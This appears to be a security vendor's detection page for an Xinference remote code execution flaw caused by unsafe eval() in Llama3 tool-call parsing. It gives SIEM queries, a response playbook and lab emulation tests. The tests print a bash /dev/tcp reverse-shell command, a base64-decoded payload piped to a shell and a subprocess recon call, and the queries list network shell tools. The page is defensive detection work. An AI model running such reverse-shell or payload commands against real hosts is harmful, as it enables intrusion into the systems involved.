Xinference RCE via Unsafe eval() in Llama3 Tool-Call Parsing (CVE-2026-61539)
Detects exploitation of CVE-2026-61539, a critical (CVSS 10.0) remote code execution vulnerability in Xorbits Xinference <= 2.5.0. The Llama3 tool-call parser passes attacker-controllable model output through Python's unsafe eval(), allowing arbitrary code execution on the inference host. An attacker who can influence a served Llama3 model's tool-call output (e.g., via crafted prompts to the /v1/chat/completions endpoint with tools enabled) can trigger eval() on malicious payloads. This detection identifies exploitation attempts via HTTP requests to Xinference chat endpoints containing eval-triggering patterns, anomalous child process spawns from the Xinference Python worker, and outbound connections from the inference process. Fixed in v2.7.0.
Vulnerability Intelligence
Public PoCAffected Software
- Vendor
- pip
- Product
- xinference
- Versions
- <= 2.5.0
Weakness (CWE)
Timeline
- Disclosed
- August 21, 2026
References & Proof of Concept
- PoChttps://github.com/advisories/GHSA-x2rj-828p-hx9m
- https://github.com/xorbitsai/inference/security/advisories/GHSA-x2rj-828p-hx9m
- https://github.com/xorbitsai/inference/pull/4786
- https://github.com/xorbitsai/inference/commit/1b3d220f342ce68d34cec4586d9409d457dadc42
- https://github.com/xorbitsai/inference/releases/tag/v2.7.0
CVSS
What is CVE-2026-61539 Xinference RCE via Unsafe eval() in Llama3 Tool-Call Parsing (CVE-2026-61539)?
Xinference RCE via Unsafe eval() in Llama3 Tool-Call Parsing (CVE-2026-61539) (CVE-2026-61539) maps to the Initial Access and Execution tactics — the adversary is trying to get into your network in MITRE ATT&CK.
This page provides production-ready detection logic for Xinference RCE via Unsafe eval() in Llama3 Tool-Call Parsing (CVE-2026-61539), covering the data sources and telemetry it touches: Microsoft Defender for Endpoint. The queries below are rated critical severity at high confidence, and ship for 7 SIEM platforms — KQL, SPL, Elastic, QRadar, Sumo, YARA-L, LogScale.
MITRE ATT&CK
- Tactic
- Initial Access Execution
let suspiciousChildren = dynamic(["sh","bash","dash","zsh","nc","ncat","curl","wget","python","python3","perl","ruby","whoami","id","cat"]);
DeviceProcessEvents
| where InitiatingProcessFileName in~ ("python","python3","xinference","xinference-local")
| where InitiatingProcessCommandLine has_any ("xinference","xoscar","inference.deploy","xinference.core")
| where FileName in~ (suspiciousChildren)
| where ProcessCommandLine has_any ("-c","-e","/dev/tcp","base64","import os","import subprocess","__import__","exec(","eval(")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, InitiatingProcessCommandLine, FileName, ProcessCommandLine, InitiatingProcessId
| order by Timestamp desc Identifies child processes spawned by the Xinference Python worker that indicate code execution via eval() — reverse shells, downloaders, and reconnaissance commands originating from the model-serving process.
Data Sources
Required Tables
False Positives
- Legitimate model management scripts that shell out from the Xinference worker for GPU diagnostics or dependency installation
- Administrators running debugging commands inside the Xinference process namespace
- Custom model launchers that legitimately invoke subprocess to load external tooling
Sigma rule & cross-platform mapping
The detection logic for Xinference RCE via Unsafe eval() in Llama3 Tool-Call Parsing (CVE-2026-61539) (CVE-2026-61539) above is provided in a vendor-neutral
form so you can deploy it on any SIEM. The same logic is shipped here as native
KQL (Microsoft Sentinel / Defender), SPL (Splunk), Elastic (Elastic Security (EQL)), QRadar (IBM QRadar (AQL)), Sumo (Sumo Logic CSE), YARA-L (Google Chronicle / SecOps), LogScale (CrowdStrike LogScale (CQL)) queries. In Sigma terms, this detection targets the
following logsource:
logsource:
category: process_creation
product: windows Browse the community-maintained Sigma rules for this technique:
Platform-specific guides for CVE-2026-61539
References (5)
- https://github.com/xorbitsai/inference/security/advisories/GHSA-x2rj-828p-hx9m
- https://github.com/xorbitsai/inference/pull/4786
- https://github.com/xorbitsai/inference/commit/1b3d220f342ce68d34cec4586d9409d457dadc42
- https://github.com/xorbitsai/inference/releases/tag/v2.7.0
- https://github.com/advisories/GHSA-x2rj-828p-hx9m
Testing Methodology
Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.
- Test 1Simulate eval()-based child process from Xinference worker
Expected signal: A ProcessRollup/auditd process-launch event with a python3 parent spawning /bin/sh executing `id`.
- Test 2Simulate reverse-shell payload via eval()
Expected signal: Process launch of bash with a /dev/tcp reverse-shell command line under a python parent, plus an outbound TCP connection attempt.
- Test 3Simulate base64-encoded payload execution
Expected signal: A bash child of a python parent with a command line containing `base64 -d` piped to a shell.
Response Playbook
Triage
- Confirm the affected host is running Xorbits Xinference and determine the installed version (`pip show xinference`); versions <= 2.5.0 are vulnerable to CVE-2026-61539.
- Review the chat/completions request logs for the Xinference API around the alert time, focusing on requests to Llama3 models with `tools`/tool-calling enabled and unusual tool-call output containing Python expressions.
- Examine the process tree: identify the child process spawned by the Xinference Python worker and capture its full command line, parent PID, and execution timestamp.
- Determine whether the served model or endpoint was reachable from untrusted networks and whether authentication was enforced on the Xinference API.
Containment
- Isolate the affected inference host from the network to stop any active reverse shell or lateral movement.
- Stop the Xinference service and block inbound access to its API port (default 9997) at the host and network firewall until patched.
- Rotate any credentials, API keys, or model registry tokens accessible from the inference host, as they may have been exfiltrated.
Evidence Collection
- Capture the full process command lines and parent-child lineage for the Xinference worker and all spawned children (auditd/EDR process events).
- Preserve Xinference application logs and the HTTP access logs for the chat/completions endpoint showing the triggering tool-call payload.
- Collect network connection records (netstat/conntrack, EDR network events) for outbound connections from the inference process.
Escalation Criteria
- ! Escalate to incident response immediately if any child process established an outbound network connection or spawned an interactive shell.
- ! Escalate if evidence shows credential access, data staging, or lateral movement from the inference host.
- ! Escalate if the Xinference API was internet-exposed without authentication, indicating broad exposure.
Investigation Guide
Forensic Artifacts
- >
Xinference API access logs showing chat/completions requests with crafted tool-call payloads - >
auditd/EDR process-launch records for children of the Xinference Python worker - >
Outbound network connection records from the inference process - >
Xinference worker stdout/stderr logs capturing eval() output or tracebacks
Tuning Guidance
Baseline the legitimate child processes the Xinference worker spawns in your environment (e.g., GPU diagnostics, dependency installers) and add them to an allowlist to reduce noise. Tighten the command-line indicator regex to your observed exploitation patterns if the broad set generates too many benign hits. Prioritize hosts where the Xinference API is network-exposed or lacks authentication, and downgrade severity for isolated dev instances with no untrusted reachability.
Hunting Queries
Surfaces any shell or tooling process spawned under an Xinference Python worker across the fleet to hunt for eval()-based execution beyond the initial alert.
DeviceProcessEvents | where InitiatingProcessCommandLine has "xinference" | where FileName in~ ("sh","bash","nc","curl","wget","python","python3") | summarize count() by DeviceName, FileName, ProcessCommandLine | order by count_ desc index=linux ("xinference") | search parent_process=*python* process_name IN ("sh","bash","nc","curl","wget") | stats count by host process_name process Atomic Red Team Tests
Emulates the vulnerable Llama3 tool-call parser passing attacker output to eval() by having a python parent (named to mimic the worker) spawn a benign reconnaissance command.
Command
python3 -c "import subprocess; subprocess.run(['/bin/sh','-c','id > /tmp/cve_2026_61539_poc.txt'])" Cleanup
rm -f /tmp/cve_2026_61539_poc.txt Expected Telemetry
A ProcessRollup/auditd process-launch event with a python3 parent spawning /bin/sh executing `id`.
Expected Detection
The KQL/EQL/CQL rules fire on the sh child of a python parent with an `-c` command line containing recon activity.
Emulates code execution establishing an outbound shell, as an attacker would via the eval() sink. Uses a local listener to remain lab-safe.
Command
python3 -c "import subprocess; subprocess.run(['bash','-c','bash -i >& /dev/tcp/127.0.0.1/4444 0>&1'])" & Cleanup
pkill -f '/dev/tcp/127.0.0.1/4444' 2>/dev/null; true Expected Telemetry
Process launch of bash with a /dev/tcp reverse-shell command line under a python parent, plus an outbound TCP connection attempt.
Expected Detection
Rules match on the `/dev/tcp` indicator in a shell child of a python (xinference) parent.
Emulates an eval()-delivered obfuscated payload decoding and executing via a shell, mimicking attacker evasion.
Command
python3 -c "import subprocess; subprocess.run(['bash','-c','echo aWQK | base64 -d | sh'])" Cleanup
true Expected Telemetry
A bash child of a python parent with a command line containing `base64 -d` piped to a shell.
Expected Detection
Rules fire on the `base64` indicator in a shell process descending from the Xinference Python worker.